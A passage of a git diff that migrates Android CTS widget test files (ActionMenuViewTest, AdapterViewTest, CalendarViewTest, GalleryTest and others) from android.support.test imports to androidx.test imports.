import android.widget.AbsoluteLayout;
import android.widget.AbsoluteLayout.LayoutParams;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java b/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
index 36b13d2..740fe90 100644
--- a/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
@@ -27,15 +27,16 @@
import android.app.Instrumentation;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Menu;
import android.widget.ActionMenuView;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
index cc86808..cbf19ae 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
@@ -36,10 +36,6 @@
import android.content.Context;
import android.os.Parcelable;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.SparseArray;
import android.util.Xml;
@@ -54,6 +50,11 @@
import android.widget.ListAdapter;
import android.widget.ListView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java b/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
index 8fad791..00e9796 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
@@ -18,12 +18,13 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.widget.AdapterView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java b/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
index 7ddbbd5..7b1e8f6 100644
--- a/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
@@ -21,10 +21,11 @@
import android.database.Cursor;
import android.database.MatrixCursor;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.AlphabetIndexer;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
index 144deca..a5a4a50 100644
--- a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
@@ -17,13 +17,14 @@
package android.widget.cts;
import android.app.Activity;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.AnalogClock;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
index 4350103..bdfb61d 100644
--- a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
@@ -29,15 +29,16 @@
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.database.DataSetObserver;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.ArrayAdapter;
import android.widget.Filter;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java b/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
index 5b969d3..d8923a9 100644
--- a/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
@@ -47,11 +47,6 @@
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.TextWatcher;
import android.util.AttributeSet;
@@ -68,6 +63,12 @@
import android.widget.Filterable;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
index 4df0c4a..a179f16 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
@@ -27,12 +27,13 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import android.database.DataSetObserver;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
index 28859d0..411d9e0 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
@@ -26,12 +26,13 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import android.database.DataSetObserver;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseExpandableListAdapter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ButtonTest.java b/tests/tests/widget/src/android/widget/cts/ButtonTest.java
index c320895..abc37a6 100644
--- a/tests/tests/widget/src/android/widget/cts/ButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ButtonTest.java
@@ -17,13 +17,14 @@
package android.widget.cts;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.Button;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java b/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
index 665abec..0556af8 100644
--- a/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
@@ -28,17 +28,18 @@
import android.app.Instrumentation;
import android.graphics.Rect;
-import androidx.annotation.ColorInt;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewGroup;
import android.widget.CalendarView;
import android.widget.ScrollView;
import android.widget.cts.util.TestUtils;
+import androidx.annotation.ColorInt;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java b/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
index cd265f9..10cbfd8 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
@@ -26,14 +26,15 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.widget.CheckBox;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java b/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
index da31c2d..05bb971 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
@@ -30,11 +30,6 @@
import android.graphics.PorterDuff;
import android.graphics.drawable.Drawable;
import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.StateSet;
import android.view.View;
@@ -45,6 +40,12 @@
import android.widget.ListView;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ChronometerTest.java b/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
index 2ff415f..b9a45a3 100644
--- a/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
@@ -29,15 +29,16 @@
import android.app.Instrumentation;
import android.content.Context;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ContextThemeWrapper;
import android.widget.Chronometer;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
index b81b37c..fcba607 100644
--- a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
@@ -42,11 +42,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.StateSet;
import android.util.Xml;
@@ -55,6 +50,12 @@
import android.widget.CompoundButton;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
index ff36bbd..3f1543a 100644
--- a/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
@@ -31,10 +31,6 @@
import android.database.DataSetObserver;
import android.database.sqlite.SQLiteDatabase;
import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@@ -43,6 +39,11 @@
import android.widget.FilterQueryProvider;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.TestThread;
diff --git a/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
index 1084805..4e15384 100644
--- a/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
@@ -33,10 +33,6 @@
import android.database.Cursor;
import android.database.DataSetObserver;
import android.database.sqlite.SQLiteDatabase;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@@ -45,6 +41,11 @@
import android.widget.FilterQueryProvider;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
index c0aa95dc..b6ee6a8 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
@@ -22,10 +22,11 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.app.DatePickerDialog;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
index b3c10e3..52b75b6 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
@@ -33,15 +33,16 @@
import android.app.Activity;
import android.content.Context;
import android.os.Parcelable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.SparseArray;
import android.view.View;
import android.view.autofill.AutofillValue;
import android.widget.DatePicker;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java b/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
index f7f6bc7..810276a 100644
--- a/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
@@ -30,11 +30,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Spannable;
import android.text.TextWatcher;
import android.util.AttributeSet;
@@ -44,6 +39,12 @@
import android.widget.EditText;
import android.widget.RelativeLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java b/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
index 6c9f512..34b5083 100644
--- a/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
@@ -24,16 +24,17 @@
import android.app.Activity;
import android.content.Context;
import android.content.res.XmlResourceParser;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.DigitalClock;
import android.widget.LinearLayout;
import android.widget.cts.util.XmlUtils;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 32e54f1..acb24f7 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -25,11 +25,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.TextUtils;
import android.text.method.ArrowKeyMovementMethod;
@@ -41,6 +36,12 @@
import android.widget.EditText;
import android.widget.TextView.BufferType;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java b/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
index 296f03f..d2a5230 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
@@ -17,13 +17,14 @@
package android.widget.cts;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
import android.view.KeyEvent;
import android.view.View;
import android.widget.ExpandableListAdapter;
import android.widget.ExpandableListView;
import android.widget.cts.util.ListUtil;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import junit.framework.Assert;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
index 1f4270c..2d89510 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
@@ -21,10 +21,6 @@
import static org.junit.Assert.assertTrue;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.widget.BaseExpandableListAdapter;
import android.widget.ExpandableListAdapter;
@@ -33,6 +29,11 @@
import android.widget.cts.util.ExpandableListScenario.MyGroup;
import android.widget.cts.util.ListUtil;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
index 1482cae..654aa88 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
@@ -38,11 +38,6 @@
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.LayoutInflater;
@@ -54,6 +49,12 @@
import android.widget.TextView;
import android.widget.cts.util.ExpandableListScenario;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
index 77cf1b6..4edbb92 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
@@ -21,15 +21,16 @@
import static org.junit.Assert.assertTrue;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.widget.ExpandableListView;
import android.widget.cts.util.ListUtil;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
index 693ff7e..69dbc8d 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
@@ -21,13 +21,14 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertSame;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.ExpandableListView;
import android.widget.ExpandableListView.ExpandableListContextMenuInfo;
import android.widget.ListView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/FilterTest.java b/tests/tests/widget/src/android/widget/cts/FilterTest.java
index f8f577e..f2dc0d8 100644
--- a/tests/tests/widget/src/android/widget/cts/FilterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FilterTest.java
@@ -26,12 +26,13 @@
import android.app.Instrumentation;
import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.Filter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.TestThread;
diff --git a/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java b/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
index ee321e4..cfaf281 100644
--- a/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
@@ -40,11 +40,6 @@
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.Gravity;
@@ -56,6 +51,12 @@
import android.widget.LinearLayout;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
index 0aca2cd..1b04b2f 100644
--- a/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
@@ -19,9 +19,6 @@
import static org.junit.Assert.assertEquals;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.Gravity;
@@ -30,6 +27,10 @@
import android.widget.FrameLayout;
import android.widget.FrameLayout.LayoutParams;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/GalleryTest.java b/tests/tests/widget/src/android/widget/cts/GalleryTest.java
index acbe1e7..c977fa3 100644
--- a/tests/tests/widget/src/android/widget/cts/GalleryTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GalleryTest.java
@@ -26,11 +26,6 @@
import android.content.Context;
import android.graphics.Rect;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.ViewAsserts;
import android.util.AttributeSet;
import android.util.Xml;
@@ -46,6 +41,12 @@
import android.widget.Gallery;
import android.widget.ImageView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
index 61c447b..fcb7434 100644
--- a/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
@@ -18,11 +18,12 @@
import android.content.Context;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.Gallery;
